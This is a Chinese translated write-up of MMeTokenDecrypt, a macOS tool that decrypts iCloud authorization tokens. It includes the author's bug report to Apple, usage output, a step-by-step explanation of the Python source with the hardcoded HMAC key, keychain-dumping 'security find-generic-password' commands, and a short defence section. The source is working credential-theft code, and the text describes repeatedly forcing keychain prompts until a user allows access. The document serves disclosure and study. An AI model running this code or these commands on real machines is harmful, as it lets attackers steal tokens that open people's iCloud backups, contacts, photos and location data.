MMeTokenDecrypt
原文链接: MMeTokenDecrypt
作者: manwhoami
翻译: Chensh 校对: 布兜儿
前言
这个程序用来解密或提取出所有存储在 macOS/OS X/OSX 上面的授权令牌(Authorization Tokens)。无需用户身份验证,是因为利用了一个在 macOS 上授权访问钥匙串的流程中的缺陷。
所有的授权令牌都存储在 /Users/*/Library/Application Support/iCloud/Accounts/DSID
目录下。 DSID 是每一个 iCloud 账户在苹果系统里的后端存储格式。
这个 DSID 格式文件使用了128位AES的CBC模式 [^注1] 和一个空的初始化向量 进行加密。针对这个文件的解密密钥存储在用户的钥匙串 里,一个名为 iCloud 的服务条目下,名字是 iCloud 账户相关的邮件地址。
这个解密钥匙进行了 base64 编码,并作为 Hmac 算法 [^注2]中的消息体,进行标准的 MD5 哈希加密 。这里的问题是,Hmac 算法里所需的输入钥匙,被藏在了 MacOS 内核 深处。这个钥匙由44个随机字符组成,它是解密 DSID 文件的关键。这个钥匙包含在本工程的源代码中,据我所知,到目前为止这个钥匙还未被公开过。
意义
目前市面上拥有类似功能的工具,只有一款名为 “Elcomsoft Phone Breaker [^注3]”的取证工具。 MMeTokenDecrypt 是开源的,允许任何开发者在工程里使用这个解密 iCloud 授权的文件。
苹果必须要重新设计钥匙串信息的获取方式。因为本程序 fork 了一个苹果已经签名的二进制文件作为子进程,当用户看到钥匙串访问请求弹窗时,并不会意识到其背后的危险。更进一步,攻击者可以向用户重复弹出钥匙串弹窗,直至用户允许了钥匙串访问为止,因为苹果并没有为拒绝选项设定超时时间。这将会导致iCloud授权令牌被盗窃,而这些令牌可以用来访问几乎所有iCloud的服务项目:iOS备份,iCloud联系人,iCloud Drive, iCloud 图片库, 查找我的好友,查找我的手机(查看我其他的项目) 。
上报反馈历程
我2016年10月17日开始联系苹果,非常详细地阐述了如何破坏用户钥匙串授权的方法,并在不同的 macOS 系统版本中进行重现。
直到2016年11月6日,没有得到苹果的任何反馈。(委屈失落的作者……)
bug报告包含了破坏整个钥匙串访问。MMeTokenDecrypt 只是这个 bug 的其中一个实现。查看我的其他项目,OSXChromeDecrypt 是这个 bug 的另外一种实现。
报告中有个值得注意的摘录如下:
此外,假如我们是远程攻击者,当“询问钥匙串密码”的选项没有被勾选时,那么本质上,我们就是通过代码实现强制弹窗提示,迫使用户单击“允许”按钮,这样我们就可以获得密码。但是,如果“通过密码访问钥匙串”的选项被选中,并且用户点击了“拒绝”按钮,那么强制提示则会变得比较棘手。
我已经把 bug 的报告上传到本项目中,并将实时同步苹果的更新。
用法
运行 python 文件:
$ python MMeDecrypt.py
Decrypting token plist -> [/Users/bob/Library/Application Support/iCloud/Accounts/123456789]
Successfully decrypted token plist!
bobloblaw@gmail.com Bob Loblaw -> [123456789]
cloudKitToken = AQAAAABYXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~
mapsToken = AQAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~
mmeAuthToken = AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX=
mmeBTMMInfiniteToken = AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~
mmeFMFAppToken = AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~
mmeFMIPToken = AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~
注意
假如你是使用 homebrew 安装的 python,那么你运行这个脚本的时候有可能会遇到以下错误:
user@system:~/code/MMeTokenDecrypt $ python MMeDecrypt.py
Traceback (most recent call last):
File "MMeDecrypt.py", line 2, in <module>
from Foundation import NSData, NSPropertyListSerialization
ImportError: No module named Foundation
想要解决这个问题,你可以手动指定一个你系统上默认的 python 版本的完整的路径。
user@system:~/code/MMeTokenDecrypt $ /usr/bin/python MMeDecrypt.py
Decrypting token plist -> [/Users/user/Library/Application Support/iCloud/Accounts/123413453]
Successfully decrypted token plist!
user@email.com [First Last -> 123413453]
{
cloudKitToken = "AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
mapsToken = "AQAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
mmeAuthToken = "AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXX=";
mmeBTMMInfiniteToken = "AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
mmeFMFAppToken = "AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
mmeFMIPToken = "AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
}
已在 Mac OS X EI Capitan 上验证
注释
注1: AES 的 CBC 加密模式。即为密码分组链接模式(Cipher Block Chaining (CBC)),这种模式是先将明文切分成若干小段,然后每一小段与初始块或者上一段的密文段进行异或运算后,再与密钥进行加密。
注2: Hmac 算法,是密钥相关的哈希运算消息认证码,HMAC运算利用哈希算法,以一个密钥和一个消息为输入,生成一个消息摘要作为输出。
注3: Elcomsoft Phone Breaker 是 Elcomsoft 公司的一款手机取证工具,具有解密、下载 iCloud 文件和备份,获取 iCloud 的 Token,解析钥匙串等功能。
以下内容是我发送给苹果的Bug报告
概要:
致相关人士,
目前将程序插入到 MacOS/OS X (每个版本)中的条目的实现,都缺乏一个关键的特性。
这个特性其实早已可以通过钥匙串访问程序来实现,但由于某些原因,迟迟没有开放给 “security” 命令行工具。
在钥匙串访问 app 中“访问控制”下的“询问钥匙串密码” 选项实现了这样的功能。
但它不允许开发者使用程序来自动勾选这个选项,这种做法阻止了开发者安全地将数据信息存储到钥匙串中。
因为应用开发者并不能仅针对他们的应用或者合法的钥匙串所有者来限制钥匙串条目的访问。
例如,假设有人未经允许访问了我的电脑,然后想要获取到钥匙串里面Chrome安全存储条目中的键值,那么他所需要做的就是允许一个命令:secutiry find-generic-password -ga 'Chrome' .
而之后那些恶意用户所需要做的,仅仅是在弹出钥匙串弹窗点击“允许” 按钮。
但是,如果本机主人以前曾经打开过钥匙串访问,在 Chrome 安全存储条目中的访问控制面板下,勾选过“询问钥匙串密码” 的选项,那么就可以强制恶意用户必须输入钥匙串密码,否则未授权的访问将会被终止。
谷歌 Chrome 依旧可以无限制地访问这个钥匙串(这也是我们所希望的),因为它在访问控制面板下被列为了唯一授权应用。
此外,假如我们是远程攻击者,当“询问钥匙串密码”的选项没有被勾选,那么我们本质上就是通过代码实现强制弹窗提示,迫使用户单击“允许”按钮,这样我们就可以获得密码。
但是,如果“通过密码访问钥匙串”的选项被选中,并且用户点击了“拒绝”按钮,那么强制提示则会变得比较棘手。(参见参考文献)
重现步骤:
谷歌 Chrome 浏览器是一个很好的例子,因为它是一个很常用的应用,而且可以非常直接查看到它通过 MacOS 系统或调用库创建的钥匙串条目。
在我们勾选钥匙串访问面板中的“询问钥匙串密码”选项之前。我们先在命令行运行以下命令:secutiry find-generic-password -ga 'Chrome' ,然后我们可以观察到,这些敏感信息非常需要钥匙串密码来验证以保证安全性。(这个安全存储键值可以解密谷歌 Chrome 所有本地存储的密码)
在钥匙串访问中,查找到“Chrome Safe Storage”条目,右键,显示简介,切换到访问控制面板,勾选“询问钥匙串密码”选项,然后保存更改。(这里钥匙串应用有个Bug,就是你需要重复这个操作两次才能够真正生效。但这个是无关本次议题的bug了)
当我们使用命令“security add-generic-password -T | -A” 来创建一个新的钥匙串密码条目后,打开谷歌Chrome浏览器,发现它并没有询问你确认你的密码,这是因为它已经是在受信任列表里面的应用了。
在命令行下,我们再次运行secutiry find-generic-password -ga 'Chrome' 这个命令,我们发现这次的弹窗需要你输入密码了。
预期结果: 在这些步骤之后,您将了解到为何密码是必需。
实际结果: 如上所述。
版本: 所有的 MacOS 或 OSX 版本。
注意: 在 MacOS 中已经存在“询问钥匙串密码”的选项功能了。
实现这点只需要很少的资源。
我在此请求苹果开放程序控制这个功能给开发者(IE将新的条目参数添加到钥匙串的操作是:‘security add-generic-password -T | -A’ ),以便终止那些未经许可的钥匙串信息访问。
因此,希望把勾选“询问钥匙串密码”后的系统调用加入到 “security” 这个命令行工具的调用里面,提供一个参数允许开发者通过命令行工具去设置选项是否选中,而不是通过用户交互界面。
作为一个应用开发者,我不能指望我的用户通过 GUI 操作来保护我的应用里面的钥匙串条目。毕竟应用开发者的一个目标就是减少用户的繁琐操作。
实际操作-----
2017.07 小组实验操作。成员:布兜儿,AloneMonkey,chensh,kiba, mAd mArk
MMeTokenDecrypt 简介
MMeTokenDecrypt 工具提供了一个脚本,用于解码出 macOS/OS X/OSX 上所有的授权 Token。这是利用了系统中授权的钥匙链访问方式的漏洞。
授权 Token 存放在文件存储在 /Users/*/Library/Application Support/iCloud/Accounts/
目录下,以你的 iCloud 账号命名的一个DSID 文件。DSID 是一个数字,是苹果对于每个 iCloud 账号在系统后端中的标识符。
DSID 文件使用一个空的初始化向量和 AES-128 CBC 算法加密。用于解密这个文件的密钥存放在用户的钥匙串(keychain)中,在系统服务 iCloud 下,名字是和 iCloud 账号关联的首选邮箱。
系统解密这个 DSID 文件时,就会从 keyChain 里拿出解密密钥,该密钥格式是 base64,用 base64 解码后,作为 Hmac 算法的消息体输入。Hmac 算法中使用的密钥是硬编码到 MacOS 系统内部中的,是44个字符长的随机字母,为 t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}
。是的,大家的都一样。以上提到的这两个密钥进行了 MD5 加密,得到一把新的钥匙,然后就可以解密 DSID 文件啦!
由于44个字符长的密钥我们已经知道了(在 MMeTokenDecrypt 的源码中就有),所以重点在如何获取 keychain 中的密钥。
keychain 中的密钥
在钥匙串通过搜索iCloud,你可以看到一个用你iCloud相关账号的邮箱地址命名的条目。
既然存在钥匙串中,那么我们尝试访问的时候会有下图的警告,一旦点击“允许”,相关的token就能被拿到了。而黑客可以通过代码不停的弹出提示直到你点击“允许”。
通过命令行的方式也可以进行此操作。输入以下命令:
$ security find-generic-password -ga 'Chrome'
这里使用到了 security命令,它是非常强大命令行安全工具。参数解释如下:
find-generic-password ,是使用“查找密码”的功能。-a ,这个参数是匹配类型为“账户”的,用于过滤。-g ,这个参数是将查询到的密码显示出来。
MMeTokenDecrypt 工具 fork 了一个新的安全的、苹果签名了的进程来解密授权文件,用户对弹出的钥匙链请求对话框并不会感觉危险。攻击者还可以重复的请求访问钥匙链,直到用户同意访问,因为苹果并未限制被拒绝后需要等待的时间。这就允许解码 iCloud 的所有授权 token,这些 token 就能用于访问几乎所有的 iCloud 服务器,包括 iOS 备份,iCloud 联系人,iCloud 照片库,查找我的朋友,定位我的手机等。
源码解析
1.导入使用的库
#!/usr/bin/env python
#coding: utf-8
## 导入使用的库
import base64, hashlib, hmac, subprocess, sys, glob, os, binascii
from Foundation import NSData, NSPropertyListSerialization
2.在 python 中,我们可以使用 subprocess 库来运行外部程序,将shell 环境下命令运行的结果返回到本程序。如果没有获取到,则打印报错信息,再退出程序。运行 security find-generic-password -ws 'iCloud'
命令,其中 -w 参数是用于仅显示密码项。-s 参数是用于指定类型为 server 的条目,并匹配后面的关键词。
# 获取 iCloud 的密匙
iCloudKey = subprocess.check_output("security find-generic-password -ws 'iCloud' | awk {'print $1'}", shell=True).replace("\n", "")
if iCloudKey == "":
print "Error getting iCloud Decryption Key"
sys.exit()
得到 iCloud 的密码后,我们将其进行 base64 解码。
# 解码 iCloud 的密匙
msg = base64.b64decode(iCloudKey)
3.在 hmac.new 函数中传入这个 key 和上一步拿到的 msg,进行 MD5 hash,并做了16进制的转换。
# 硬编码在系统中的字符串
#Constant key used for hashing Hmac on all versions of MacOS.
#this is the secret to the decryption!
#/System/Library/PrivateFrameworks/AOSKit.framework/Versions/A/AOSKit yields the following subroutine
#KeychainAccountStorage _generateKeyFromData:
#that uses the below key that calls CCHmac to generate a Hmac that serves as the decryption key
key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
# 将 iCloud 解码后的数据作为 Hmac 中的消息
# 将硬编码在系统中的字符串作为 Hmac 中的密匙
# md5 算法作为 Hmac 中的哈希算法
#create Hmac with this key and iCloudKey using md5
hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
hexedKey = binascii.hexlify(hashed) #turn into hex for openssl subprocess
4.这里声明了一个空的 IV,随后遍历了/Library/Application Support/iCloud/Accounts/*
下的文件,如果有文件则打印出该文件地址
IV = 16 * '0'
mmeTokenFile = glob.glob("%s/Library/Application Support/iCloud/Accounts/*" % os.path.expanduser("~"))
for x in mmeTokenFile:
try:
int(x.split("/")[-1]) #if we can cast to int, that means we have the DSID / account file.
mmeTokenFile = x
except ValueError:
continue
if not isinstance(mmeTokenFile, str):
print "Could not find MMeTokenFile. You can specify the file manually."
sys.exit()
else:
print "Decrypting token plist -> [%s]\n" % mmeTokenFile
5.接下来我们使用openssl这个命令行工具,将一个空的初始化向量IV和上面已经被16进制转换的密钥,以及我们找到DSID文件,进行128位的AES解密。这一步得到的是一个解密后的二进制文件。
decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mmeTokenFile), shell=True)
6.我们使用Foundation库里面的类来将它转化为可读取的plist格式。然后遍历这个plist格式对象,将其中的内容打印出来。
binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
tokenPlist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
print "Successfully decrypted token plist!\n"
print "%s [%s -> %s]" % (tokenPlist["appleAccountInfo"]["primaryEmail"], tokenPlist["appleAccountInfo"]["fullName"], tokenPlist["appleAccountInfo"]["dsPrsID"])
print tokenPlist["tokens"]
运行
先获取 MMeTokenDecrypt.py 文件 ,然后在终端中输入:
$ python MMeTokenDecrypt.py
这个源码文件会获取 iCloud 相关的所有 token,并且罗列出来。
如果你所使用的 python 是通过 homebrew 安装的,可能会碰到以下错误:
Traceback (most recent call last):
File "MMeDecrypt.py", line 2, in <module>
from Foundation import NSData, NSPropertyListSerialization
ImportError: No module named Foundation
你可以尝试指定系统默认的 python 路径来执行 MMeDecrypt.py
比如:
/usr/bin/python MMeDecrypt.py
如果运行正常我们就可以看到相关 token 打印出来了。执行结果:
防御
点击keychain 里面那个chrome safe storage的条目,右键选择显示简介 。
切换到访问控制 的面板,将询问钥匙串密码 选中。
这里有一个小bug,keychain里面的更改需要重复两次操作,才能修改成功,当我们勾选了这个选项,切换到属性 然后再切换回来的时候,发现这个选项并没有被选中,需要再重复操作一遍才行。
然后我们回到命令行,重新输入上面security的命令,这一次我们发现弹窗出来不一样了。这里需要我们输入钥匙串密码。
当我们开启这个选项,就算别人偷偷用你的电脑,没有你的钥匙串密码,也无法得到其中的安全信息。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)